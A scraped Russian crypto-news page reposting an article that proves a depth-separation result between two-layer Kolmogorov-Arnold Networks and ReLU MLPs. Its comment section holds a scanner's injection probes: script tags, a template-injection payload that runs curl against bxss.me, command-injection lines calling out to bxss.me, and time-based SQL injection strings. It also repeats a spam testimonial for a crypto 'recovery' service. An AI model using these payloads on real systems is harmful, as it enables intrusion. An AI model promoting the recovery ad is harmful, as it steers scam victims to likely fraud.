Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9512 / Markets: 114689

Market Cap: $ 3 787 132 962 593 / 24h Vol: $ 200 392 171 953 / BTC Dominance: 58.653467328398%

Н Новости

Правда ли KAN лучше MLP? Свойство разделения глубины между двумя архитектурами

Введение

Прошлым летом в свет вышла новая архитектура нейронных сетей под названием Kolmogorov-Arnold Networks (KAN). Основная статья есть в открытом доступе на архиве по следующей ссылке. На момент выхода статьи эта новость произвела фурор в мире машинного обучение, так как KAN показывали существенный прирост в качестве аппроксимации различных сложных функций. На фото ниже видно, что ошибка новых сетей падает значительно быстрее при увеличении числа параметров.

графики RMSE на тестовой выборке к числу параметров у KAN и MLP на разных функциях

Однако, за все приходится платить, и цена таких маленьких значений функции ошибки - медленное обучение: KAN обучается примерно в 10 раз медленнее, чем старый добрый MLP. Из всего этого возникает вопрос: насколько все же уместно использование новой архитектуры вместо привычных всем MLP?

Конечно же, ответ на этот вопрос не столь однозначный: кому-то больше важна скорость обучения и работы модели, кому-то качество предсказаний. В поисках ответа я пришел к интересной задаче, которая легла в основу моей курсовой работы (полная версия по ссылке) и которую я собираюсь здесь изложить.

Разделение глубины и постановка задачи

Один из способов сравнить архитектуры - выявить так называемое свойство разделения глубины. Для MLP сетей оно заключается в следующем: пусть есть MLP сеть $\mathcal{N}_1$ глубины l_1 и MLP сеть $\mathcal{N}_{2}$ глубины l_2 , при этом l_1 < l_2 , а ширина обоих сетей полиномиальна относительно размерности входного пространства (далее обозначаем через $\mathcal{poly}(d)$ ) если существует функция такая, что она приближается (в каком именно смысле будет понятно позднее) сетью $\mathcal{N}_1$ , но не приближается $\mathcal{N}_{2}$ , то говорят, что выполняется свойство разделения глубины между $\mathcal{N}_1$ и $\mathcal{N}_{2}$ .

Моя идея заключалась в том, чтобы попытаться установить подобное свойство, которое разделяло бы KAN и MLP. Конкретно, вопрос ставился следующим образом: пусть $\mathcal{K}$ - KAN глубины , ширины $\mathcal{poly}(d)$ и $\mathcal{N}$ - MLP сеть той же глубины и полиномиальной ширины. Существует ли такая функция , что она приближается $\mathcal{K}$ , но не приближается $\mathcal{N}$ ?

Для того, чтобы ответить на этот вопрос, нам придется вникнуть в устройство KAN, рассмотреть один из известных результатов разделения глубины для MLP сетей глубины 2 и 3 (ширины $\mathcal{poly}(d)$ ), а также объединить это все с помощью результата по преобразованию кусочно-линейного (станет понятно далее) KAN в MLP и обратно. Итак, начнем по порядку.

1. Устройство KAN

Для начала определим, что такое слой KAN.

Определение: Слой сети КАN (KAN-слой) с входной размерностью $n_{\text{in}}$ и выходной размерностью $n_{\text{out}}$ задаётся матрицей $\mathbf{\Phi} = \{\phi^{q}_{p}\}_{p=1,\ldots,n_{\text{in}}}^{q=1,\ldots,n_{\text{out}}}$ вещественных функций одной переменной $\phi^{q}_{p}\colon \mathbb{R} \to \mathbb{R}$ , которые мы называем функциями активации. Он представляет функцию

$\mathbf{\Phi}\colon\mathbb{R}^{n_{\text{in}}}\to\mathbb{R}^{n_{\text{out}}}$ $\mathbf{x} = (x_i)_{i=1,\ldots,n_{\text{in}}} \mapsto \mathbf{\Phi}\mathbf(x) = \left(\sum_{i=1}^{n_{\text{in}}}\phi^{j}_{i}(x_i)\right)_{j=1,\ldots,n_{\text{out}}}$

На фото ниже представлен в схематичном виде слой KAN (для удобства связи проведены только между входом и первым выходом, т.е $y_1 = \phi^{1}_{1}(x_1) + \phi^{1}_{2}(x_2) + \dots + \phi^{1}_{n_{in}}(x_{n_{in}})$ ).

Схематичный слой KAN

Теперь определим KAN как композицию слоев.

Определение: Сеть Колмогорова-Арнольда (KAN) глубины — это композиция KAN-слоёв $\mathbf{\Phi}_{L-1} \circ \ldots \circ \mathbf{\Phi}_0$ .

Например, в случае, когда последний слой имеет выходную размерность 1, функция, задаваемая KAN, будет иметь такой страшный вид:

$f(\mathbf{x}) = \sum_{i_{L-1}=1}^{n_{L-1}}\phi^{L-1,i_{L}}_{i_{L-1}}\!\left(\ldots \sum_{i_1=1}^{n_1}\phi^{1,i_2}_{i_1}\left(\sum_{i_0=1}^{n_0}\phi^{0,i_1}_{i_0}(x_{i_0})\right)\ldots\right)$

где $n_\ell$ — входная размерность $\ell$ -го KAN-слоя $\mathbf{\Phi}_\ell = \{\phi^{\ell,q}_{p}\}_{p=1,\ldots,n_\ell}^{q=1,\ldots,n_{\ell+1}}$ .

Добавлю также пару слов про механизм обучения KAN. Изначально все $\phi^{\ell,q}_{p}$ задаются в виде сплайнов и некоторой нелинейной добавки b(x) , т.е $\phi^{\ell,q}_{p} = w_bb_p^{l,q}(x) + w_sspline_p^{l,q}(x)$ где

$spline_p^{l,q}(x) = \sum_{i}{c_{i}B_i(x)}$

есть линейная комбинация B-сплайнов. Для тех, кто не знаком со сплайнами, добавлю: сплайн - это просто кусочно-полиномиальная функция (многочлен фиксированной степени на каждом отрезке разбиения), а B-сплайны - базис в пространстве таких функций. На фото ниже можно посмотреть пример интерполяции функции сплайнами разной степени и B-сплайнами.

Пример интерполяции сплайнами

Сейчас и далее не столь важно, как строятся эти самые сплайны, мы хотим понять основной механизм обучения. При инициализации w_s = 1 , $spline(x) \approx 0$ и b(x) определяется в соответствии с инициализацией Xavier. Далее происходит процесс обратного распространения ошибки: вычисляется градиент функции потерь по параметрам модели, в которые входят коэффициенты c_i в реализациях сплайнов (обычно берутся кубические сплайны и итоговые функции являются гладкими), а также веса w_b и w_s , затем делается шаг в направлении антиградиента и процесс повторяется снова. При обучении происходит так называемое расширение сетки: каждые k шагов обучения мы увеличиваем число точек разбиения отрезков для аппроксимации сплайнами, тем самым увеличивая число параметров c_i сети.

2. От KAN к MLP и обратно

Для начала введем несколько определений, которые понадобятся в этом разделе:

Определение: Кусочно-линейный KAN - это KAN, в котором все функции $\phi^{q}_{p}$ - кусочно-линейные.

Определение: Через $\mathbf{KAN}{(L, n, k)}$ будем обозначать семейство функций, задаваемых с помощью кусочно-линейного KAN глубины и ширины . Здесь - число сегментов кусочно-линейных функций $\phi^{q}_{p}\colon \mathbb{R} \to \mathbb{R}$ .

Определение: Через $\mathbf{ReLU}{(L, n)}$ будем обозначать семейство функций, задаваемых с помощью ReLU MLP сети глубины и ширины .

В попытках найти подход к изначальной задаче о разделении глубины я наткнулся на статью Relating Piecewise Linear Kolmogorov Arnold Networks to ReLU Networks, в которой показано, что кусочно-линейный KAN ширины и глубины может быть представлен ReLU MLP сетью глубины на 1 больше, ширины n^2(k+1) . Более строго, верна следующая теорема:

Теорема: Для любого кусочно-линейного KAN $f\colon \mathbb{R}^n \to \mathbb{R}$ существует ReLU-сеть $g\colon \mathbb{R}^n \to \mathbb{R}$ такая, что f(x) = g(x) для всех $x \in \mathbb{R}^n$ , при этом после перехода к MLP глубина увеличивается на 1, а ширина становится равной n^2(k+1) , где k - число сегментов кусочно-линейных функций $\phi^{q}_{p}$ . (верно и для $f\colon \mathbb{R}^n \to \mathbb{R}^m$ ).

В этой же статье доказывается и обратный факт:

Теорема: Пусть $g\colon \mathbb{R}^n \to \mathbb{R}^m$ — это MLP-сеть с функциями активации из семейства $\mathcal{F}$ . Тогда существует KAN $f\colon \mathbb{R}^n \to \mathbb{R}^m$ с функциями активации, которые являются либо аффинно-линейными, либо принадлежат $\mathcal{F}$ , такой что f(x) = g(x) для всех $x \in \mathbb{R}^n$ , при этом глубина и ширина сети не меняются при переходе к KAN. В частности, если — это ReLU-сеть, то существует кусочно-линейный KAN , для которого f(x) = g(x) при всех $x \in \mathbb{R}^n$ .

Из этих теорема мы можем понять, что

$\mathbf{KAN}(L, n, k) \subseteq \mathbf{ReLU}(L+1, n^2(k+1)) \subseteq \mathbf{KAN}(L+1,n^2(k+1),1)$

В частности

$\mathbf{KAN}(2, poly(d), k) \subseteq \mathbf{ReLU}{(3, poly(d))}$

Иначе говоря, любой двухслойный кусочно-линейный KAN ширины poly(d) может быть реализован в виде трехслойной ReLU MLP сети, имеющей полиномиальную ширину (на всякий случай нужно уточнить, что ширина у них не обязана совпадать, она просто должна быть полиномиальной относительно входной размеренности).
Таким образом, интерес представляет следующий вопрос: если мы можем представить любой двухслойный кусочно-линейный KAN трехслойной ReLU MLP, может мы можем представить его ограничившись лишь двумя слоями?
Отрицательный ответ на этот вопрос вел бы к отсутствию вложения

$\mathbf{KAN}{(2, poly(d), k)} \not\subseteq \mathbf{ReLU}{(2, poly(d))}$

а следовательно было бы установлено свойство разделения глубины между двухслойным кусочно-линейным (а значит и произвольным) KAN и двухслойной ReLU MLP (везде ширина предполагается poly(d) ). То есть, существовала бы такая функция , что она реализуется двухслойным KAN, но не реализуется двухслойной ReLU MLP.
На самом деле, мы можем пойти наоборот: построим функцию , а затем покажем, что она удовлетворяет нужным условиям. Как раз этому посвящены следующие разделы.

3. Поиск искомой функции

В этом разделе нам понадобятся 2 предположения об используемых активационных функциях MLP-сетей:

Предположение 1: Для заданной функции активации $\sigma$ существует константа $c_{\sigma} \geq 1$ (зависящая только от $\sigma$ ), такая что выполняется следующее:
Для любой -липшицевой функции $f\colon \mathbb{R} \rightarrow \mathbb{R}$ , которая постоянна вне ограниченного интервала [-R, R] , и для любого $\delta \gt 0$ существуют скаляры $a, \{\alpha_i, \beta_i, \gamma_i\}_{i=1}^w$ , где $w \leq c_{\sigma}\frac{RL}{\delta}$ , такие что функция

$h(x) = a + \sum_{i=1}^w \alpha_i \cdot \sigma(\beta_i x - \gamma_i)$

удовлетворяет условию:

$\sup_{x \in \mathbb{R}} |f(x) - h(x)| \leq \delta.$

Предположение 2: Функция активации $\sigma$ является (лебегово) измеримой и удовлетворяет условию:

$|\sigma(x)| \leq C(1 + |x|^\alpha)$

для всех $x \in \mathbb{R}$ и некоторых констант $C, \alpha \gt 0$ .

Стоит заметить, что эти два предположения выполняются для многих известных активационных функций, в частности для ReLU. Первое предположение говорит о том, что мы можем приблизить любую липшицеву функцию с ограниченным носителем с помощью двухслойной MLP сети с данной активационной функцией, а второе ограничивает рост активационной функции некоторым полиномом.

В процессе поиска подходящего кандидата на роль "плохой" функции я вспомнил про статью 2016 года с результатом разделения глубины для MLP сетей глубины 2 и 3 - The Power of Depth for Feedforward Neural Networks. Основным результатом данной работы является следующая теорема:

Теорема: Предположим, что функция активации $\sigma(\cdot)$ удовлетворяет предположению 1 с константой $c_{\sigma}$ , а также предположению 2. Тогда существуют универсальные константы $c, C \gt 0$ такие, что для любой размерности $d \gt C$ найдется вероятностная мера $\mu$ на $\mathbb{R}^{d}$ и функция $\tilde{g}: \mathbb{R}^{d} \to \mathbb{R}$ со следующими свойствами:

Функция $\tilde{g}$ ограничена в , имеет носитель на $\{\mathbf{x} : \|\mathbf{x}\| \leq C\sqrt{d}\}$ и может быть представлена 3-слойной нейронной сетью с шириной не более $Cc_{\sigma}d^{19/4}$ .
Любая функция , представленная двухслойной сетью с шириной не более $ce^{cd}$ , удовлетворяет неравенству:

$\mathbb{E}_{\mathbf{x}\sim\mu}\left(f(\mathbf{x}) - \tilde{g}(\mathbf{x})\right)^2 \geq c.$

То есть, теорема говорит о том, что существует некоторая функция $\tilde{g}$ и вероятностная мера $\mu$ , что $\tilde{g}$ не приближается никакой двухслойной ReLU MLP сетью полиномиальной ширины по норме $L_2{(\mu)}$ , но трехслойной сети уже достаточно для ее приближения.

Моя идея заключалась в том, что такая функция $\tilde{g}$ может подойти и для моей задачи. Для этого надо было проверить, возможно ли приблизить ее с помощью двухслойного кусочно-линейного KAN.

Перед тем, как доказывать, что $\tilde{g}$ действительно приближается KAN-ом, обсудим ее построение.

Для начала зададим вероятностную меру $\mu$ на $\mathbb{R}^d$ . Это будет такая мера, что ее плотность имеет вид $\phi^2(\mathbf{x})$ , где $\phi$ - преобразование Фурье индикатора единичного евклидова шара $\mathbf{1}\{\mathbf{w} \in R_dB_d\}$ , здесь R_d - множитель, такой, что Vol(R_dB_d) = 1 . График такой плотности для d = 2 приведен ниже, а явная формула имеет вид

$\varphi(\mathbf{x}) = \left(\frac{R_d}{\|\mathbf{x}\|}\right)^{d/2} J_{d/2}(2\pi R_d \|\mathbf{x}\|)$

где $J_{d/2}(\cdot)$ - функция Бесселя первого типа, порядка d/2 . (график для $J_{20}(\cdot)$ ниже)

График искомой плотности, справа - увеличенный масштаб

График функции Бесселя первого типа порядка 20

Идея брать именно такую меру исходит из того, что носитель двухслойной нейронной сети представляет из себя объединение многомерных трубок ограниченного радиуса, проходящих через начало координат. А это значит, что функция $\widehat{\tilde{g}*\phi}$ (преобразование Фурье произведение $\tilde{g}$ и $\phi$ ) должна иметь большую часть своей $L_2{(\mu)}$ -массы далеко от начала координат. Но $\widehat{\tilde{g}\phi} = \hat{\tilde{g}} \ast \hat{\phi}$ (справа - свертка преобразований Фурье), а свертка с индикатором единичного шара как раз "разносит" массу от центра (это известный факт для L_1 , но из построения это будет верно и для L_2 ). Подробнее об этом можно прочитать в исходной статье в разделе "Proof Sketch".

Теперь зададим $\tilde{g}$ как комбинацию индикаторов некоторых "тонких" оболочек:

$\tilde{g}(\mathbf{x}) = \sum_{i=1}^N \epsilon_i g_i(\mathbf{x})$

где $\epsilon_i \in \{-1, +1\}$ , N = poly(d) и $g_i(\mathbf{x}) = \mathbf{1}\{\|\mathbf{x}\| \in \Delta_i\}$ , где $\Delta_i$ - непересекающиеся интервалы ширины $\mathcal{O}{(1/N)}$ , значения которых лежат в пределах $\mathcal{\Theta}{(\sqrt{d})}$ . Более подробное построение можно посмотреть в исходной статье, либо в полном тексте моей курсовой.

4. Приближение с помощью KAN

Теперь нам остается проверить, что построенная в предыдущем разделе функция действительно приближается двухслойным кусочно-линейным KAN. Тогда, в силу того, что двухслойной ReLU MLP она не приближается, будет получена невложимость классов $\mathbf{KAN}{(2, poly(d), k)} \not\subseteq \mathbf{ReLU}{(2, poly(d))}$ .

Начнем с переформулировки Предположения 1 из предыдущего раздела для архитектуры KAN:

Предположение 1(KAN): Пусть $\phi$ - активационная функция (сплайн с K + 1 сегментами), тогда для любой -липшицевой функции $f: \mathbb{R} \to \mathbb{R}$ , такой, что $f \equiv const$ вне интервала [-R, R] и для любого $\delta \gt 0$ найдется $K \in \mathbb{N}$ , такое, что верно:

$\sup_{x\in\mathbb{R}}|f(x) - \phi(x)| \leq \delta\$

Заметим, что для кусочно-линейных сплайнов это предположение выполняется. Отрезок [-R, R] можно разбить на K равных частей с шагом $h = \frac{2R}{K}$ , затем строим сплайн S(x) , совпадающий с f(x) в точках x_i = -R + ih :

$S(x) = \left\{ \begin{array}{l} f(x_i) + \frac{f(x_{i+1}) - f(x_i)}{h}(x-x_i) \quad x\in[x_i, x_{i+1}], \\ f(x) \equiv const \quad x \notin [-R, R] \\ \end{array} \right.$

Оценим точность приближения, так как f(x) является -липшицевой, то на каждом отрезке $[x_{i}, x_{i+1}]$ :

$\sup_{x\in\mathbb{R}}|f(x)-S(x)| \leq L \cdot h\$

Чтобы выполнялось $L \cdot h \leq \delta$ , достаточно положить $h \leq \frac{\delta}{L}$ , т.е $K \geq \frac{2LR}{\delta}$ .

Также нам понадобится следующая лемма из оригинальной статьи:

Лемма 1: Предположим, что $d \geq 2$ . Для любого выбора $\epsilon_i \in \{-1, +1\}$ , $i = 1, \ldots, N$ существует -липшицева функция , носитель которой содержится в $[\alpha \sqrt{d}, 2\alpha \sqrt{d}]$ и принимающая значения в [-1, +1] , удовлетворяющая условию

$\int\left( f(\mathbf{x}) - \sum_{i=1}^N \epsilon_i g_i(\mathbf{x}) \right)^{2} \varphi^2(\mathbf{x}) dx \leq \frac{3}{\alpha^2 \sqrt{d}}$

Здесь $\alpha \geq 1$ - большая числовая константа, которая должна быть больше определенного порога, также она участвует в построении $\tilde{g}$ (подробнее в оригинальной статье).

Из данной леммы уже видно, что наша "плохая" функция может быть приближена по $L_2{(\mu)}$ -норме некоторой липшицевой функцией многих переменных. Заметим также, что значения $\tilde{g}$ зависят лишь от нормы $\|\mathbf{x}\|$ . Осталось понять, можем ли мы приближать двухслойным кусочно-линейным KAN такие липшицевы функции, зависящий от нормы входного вектора. Об этом следующая лемма:

Лемма 2: Предположим, что функция активации $\phi$ удовлетворяет предположению 1(KAN). Пусть - -липшицева функция с носителем на [r, R] , где $r \geq 1$ . Тогда для любого $\delta \gt 0$ существует функция , представимая двухслойным кусочно-линейным KAN ширины , в котором число сегментов кусочно-линейных функций $K \geq \frac{2RL}{\sqrt{r}\delta}\cdot\max(R, L)$ , такая что

$\sup_{\mathbf{x}\in\mathbb{R}^{d}}|g(\mathbf{x}) - f(\|\mathbf{x}\|)| < \delta.$

Доказательство: Определим -липшицеву функцию

$l(x) = \min(x^2, R^2)$

которая константа вне отрезка [-R, R] . Такими же свойствами обладает и функция

$l(\mathbf{x}) = \sum_{i=1}^{d}l(x_i)$

определенная на $\mathbb{R}^d$ . Применим Предположение 1(KAN) к функции $l(\cdot)$ , получим функцию $\tilde{l}(x) = \phi(x)$ такую, что

$\sup_{x\in\mathbb{R}}|\tilde{l}(x) - l(x)| \leq \frac{\sqrt{r}\delta}{dL}$

Такое неравенство верно при $K \geq \frac{2RL^2}{\sqrt{r}\delta}$ . Следовательно, функция

$\tilde{l}(\mathbf{x}) = \sum_{i=1}^d\tilde{l}(x_i)$

будет иметь вид $\tilde{l}(\mathbf{x}) = \sum_{i=1}^d\phi_i(x_i)$ .

Введем теперь следующую функцию:

$s(x) = \left\{ \begin{array}{l} f(\sqrt{x}) \quad x \geq 0, \\ 0 \quad x < 0 \\ \end{array} \right.$

Так как является -липшицевой с носителем в множестве $\{x \colon r \leq x \leq R\}$ , отсюда следует, что является $\frac{L}{2\sqrt{r}}$ -липшицевой с носителем в [-R^2, R^2] . Снова применим предположение 1(KAN) к функции $s{(\cdot)}$ с $K \geq \frac{2R^2L}{\sqrt{r}\delta}$ . Получим функцию $\tilde{s}(x) = \eta(x)$ , что

$\sup_{x\in\mathbb{R}}|\tilde{s}(x) - s(x)| \leq \frac{\delta}{2}$

Теперь рассмотрим композицию $g = \tilde{s} \circ \tilde{l}$ , которая из определений $\tilde{s}$ и $\tilde{l}$ имеет вид:

$g(x) = \eta\left(\sum_{i=1}^d\phi_i(x_i)\right)$

Т.е представляет собой двухслойный KAN ширины .

Покажем, что $\sup_{\mathbf{x}\in\mathbb{R}^d}|g(\mathbf{x}) - f(\|\mathbf{x}\|)| \leq \delta$ . Для любого $\mathbf{x}$ из $\mathbb{R}^d$ мы имеем:

$|g(\mathbf{x}) - f(\|\mathbf{x}\|)| \leq |\tilde{s}(\tilde{l}(\mathbf{x})) - s(\tilde{l}(\mathbf{x}))| + |s(\tilde{l}(\mathbf{x})) - s(l(\mathbf{x}))| + |s(l(\mathbf{x})) - f(\|\mathbf{x}\|)| =$ $= \\|\tilde{s}(\tilde{l}(\mathbf{x})) - s(\tilde{l}(\mathbf{x}))| + |s(\tilde{l}(\mathbf{x})) - s(l(\mathbf{x}))| + |f(\sqrt{l(\mathbf{x})}) - f(\|\mathbf{x}\|)|$

Рассмотрим каждое из трёх абсолютных значений:

Первое абсолютное значение не превосходит $\delta/2$ согласно построению $\tilde{s}$ .
Второе абсолютное значение, поскольку является $\frac{L}{2\sqrt{r}}$ -липшицевой, не превосходит $\frac{L}{2\sqrt{r}}|\tilde{\ell}(\mathbf{x}) - \ell(\mathbf{x})|$ , что по построению $\tilde{l}$ составляет не более $\delta/2$ .
Что касается третьего абсолютного значения: если $\|\mathbf{x}\|^{2} \leq R^{2}$ , то $\ell(\mathbf{x}) = \|\mathbf{x}\|^{2}$ и значение равно нулю. Если $\|\mathbf{x}\|^{2} > R^{2}$ , то легко проверить, что $\ell(\mathbf{x}) \geq R^{2}$ , и поскольку непрерывна и имеет носитель на , следует, что $f(\sqrt{\ell(\mathbf{x})}) = f(\|\mathbf{x}\|) = 0$ , и снова получаем ноль.

Суммируя вышесказанное, получаем $|g(\mathbf{x}) - f(\|\mathbf{x}\|)| \leq \frac{\delta}{2} + \frac{\delta}{2} + 0 = \delta$ , что и требовалось. Лемма 2 доказана.

Наконец, объединим Лемму 1 и Лемму 2 для доказательства того, что функция $\tilde{g}$ приближается двухслойным KAN:

Теорема: Существует универсальная константа $C \gt 0$ такая, что выполняется следующее. Пусть $\delta \in (0, 1)$ . Предположим, что $d \geq C$ и функции g_i построены как указано выше. Для любого выбора $\epsilon_i \in \{-1, +1\}$ , $i = 1, \ldots, N$ существует функция , представимая двухслойным кусочно-линейным KAN ширины , со значениями в [-2, +2] , такая что

$\| g(x) - \sum_{i=1}^N \epsilon_i g_i(\|x\|)\|_{L_2(\mu)} \leq \frac{\sqrt{3}}{\alpha d^{1/4}} + \delta.$

Доказательство: Сначала применим Лемму 2, чтобы получить -липшицеву функцию со значениями в [-1, +1] , удовлетворяющую условию

$\| h{(\mathbf{x})} - \sum_{i=1}^{N} \epsilon_{i} g_i{(\mathbf{x})} \|_{L_2{(\mu)}} = \sqrt{\int_{\mathbb{R}^d}{\left( h{(\mathbf{x})} - \sum{\epsilon_i g_i{(x)}} \right)^2 \varphi^2(x) dx}} \leq \frac{\sqrt{3}}{\alpha d^{1/4}}.$

Затем используем Лемму 2 с параметрами $R = 2\alpha\sqrt{d}$ , $r = \alpha\sqrt{d}$ , L = N ( тогда $K \geq \frac{8\alpha^{3/2}d^{3/4}N}{\delta}$ ) для построения функции , представимой двухслойным кусочно-линейным KAN ширины , такой что $\sup_{x \in \mathbb{R}^d} |g(x) - h(x)| \leq \delta$ . Это означает, что $\|g - h\|_{L_2(\mu)} \leq \delta$ , а также что значения лежат в $[-1 - \delta, 1 + \delta] \subseteq [-2, +2]$ (поскольку $\delta < 1$ ). Объединяя это с равенством выше и используя неравенство треугольника, завершаем доказательство.

Подведение итогов

Проделав такую большую работу, мы показали, что существует функция $\tilde{g}$ такая, что она не может быть приближена двухслойной ReLU MLP ширины poly(d) , но может быть приближена двухслойным кусочно-линейным KAN ширины poly(d) с числом сегментов $K \geq \frac{8\alpha^{3/2}d^{3/4}N}{\delta}$ . Иначе говоря, доказано отсутствие вложения

$\mathbf{KAN}{\left(2, poly(d), \left\lceil \frac{8\alpha^{3/2}d^{3/4}N}{\delta}\right\rceil + 1\right)} \not\subseteq \mathbf{ReLU}{(2, poly(d))}$

Таким образом, существуют функции, которые не могут быть приближены старой архитектурой MLP, однако могут быть реализованы с помощью KAN (даже в случае кусочно-линейных активационных функций у последнего). Конечно же, этот результат в большей степени теоретический, но он показывает, что в новой архитектуре может быть заложена куда большая выразимостная мощность, чем в классической.

Источник

Теги

Категория

Новости

Дата

22 июл. 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

